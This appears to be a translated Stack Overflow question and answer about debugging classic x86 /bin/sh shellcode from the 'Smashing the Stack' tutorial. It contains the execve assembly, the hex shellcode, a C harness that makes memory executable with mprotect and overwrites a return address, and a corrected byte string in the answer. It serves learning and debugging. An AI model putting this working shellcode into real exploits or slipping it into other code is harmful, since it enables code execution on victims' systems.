2

我正在尝试实现Aleph 在粉碎堆栈中给出的代码以获得乐趣和利润,以学习缓冲区溢出攻击的基础知识。

机器架构:Ubuntu 12.10 64位

在 gcc 中使用 -m32 标志编译的程序

到目前为止,我已经成功地使用汇编指令生成了一个 shell。下一步是将这些指令转换为十六进制代码,我遇到了这个问题。生成 shell 的汇编代码:

    void main() {
         __asm__(
    "Start:"
    "jmp    CallCode\n\t"
    "CallPop:"                    
    "popl   %esi\n\t"
    "movl   %esi,0x8(%esp)\n\t"           
    "xorl   %eax,%eax\n\t"                
    "movb   %al,0x7(%esp)\n\t"      
    "movl   %eax,0xc(%esp)\n\t"           
    "movb   $0xb,%al\n\t"                 
    "movl   %esi,%ebx\n\t"                
    "leal   0x8(%esp),%ecx\n\t"           
    "leal   0xc(%esp),%edx\n\t"           
    "int    $0x80\n\t"                    
    "xorl   %ebx,%ebx\n\t"                
    "movl   %ebx,%eax\n\t"                
    "inc    %eax\n\t"                     
    "int    $0x80\n\t"
    "CallCode:"                   
    "call   CallPop\n\t"                    
    ".string \"/bin/sh\"\n\t"             

); }

对应的十六进制代码为:

    #include <sys/mman.h>
    #include<stdio.h>

    #define PAGE_SIZE 4096U

    char shellcode[]=                         "\xeb\x24\x5e\x89\x74\x24\x08\x31\xc0\x88\x44\x24\x07\x89\x44\x24\x0c\xb0"
        "\x0b\x89\xf3\x8d\x4c\x24\x08\x8d\x54\x24\x0c\xcd"
       "\x80\x31\x89\xd8\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";


    void test_shellcode() {

      int *ret;

// The data section is non-executable
// Change protection bits for the page containing our shellcode

      mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE,   PROT_READ | PROT_WRITE | PROT_EXEC);

          ret = (int*)((char *)&ret + 16);
          (*ret) = (int)shellcode;
    }

     int main() {
      test_shellcode(); 
      return 0;
     } 

使用 GDB Debugger 进行的一些分析使我得到了以下结果:

    (gdb) run
    Starting program: /home/peps/CCPP/Hello/testsc3 

    Program received signal SIGILL, Illegal instruction.
    0x0804a067 in shellcode ()
    (gdb) x/s 0x0804a067
    0x804a067 <shellcode+39>:   "\377\377\377/bin/sh"

应用断点后,我认为问题出在十六进制代码的某个地方,我无法弄清楚。另外,我似乎不明白这里非法指令的上下文。

任何帮助,将不胜感激。

4

1 回答 1

5

你在你的 shellcode 中犯了几个错误。

char shellcode[] = 
"\xeb\x24\x5e\x89\x74\x24\x08\x31"
"\xc0\x88\x44\x24\x07\x89\x44\x24"
"\x0c\xb0\x0b\x89\xf3\x8d\x4c\x24"
"\x08\x8d\x54\x24\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd7"
"\xff\xff\xff/bin/sh";
于 2013-05-08T12:59:29.663 回答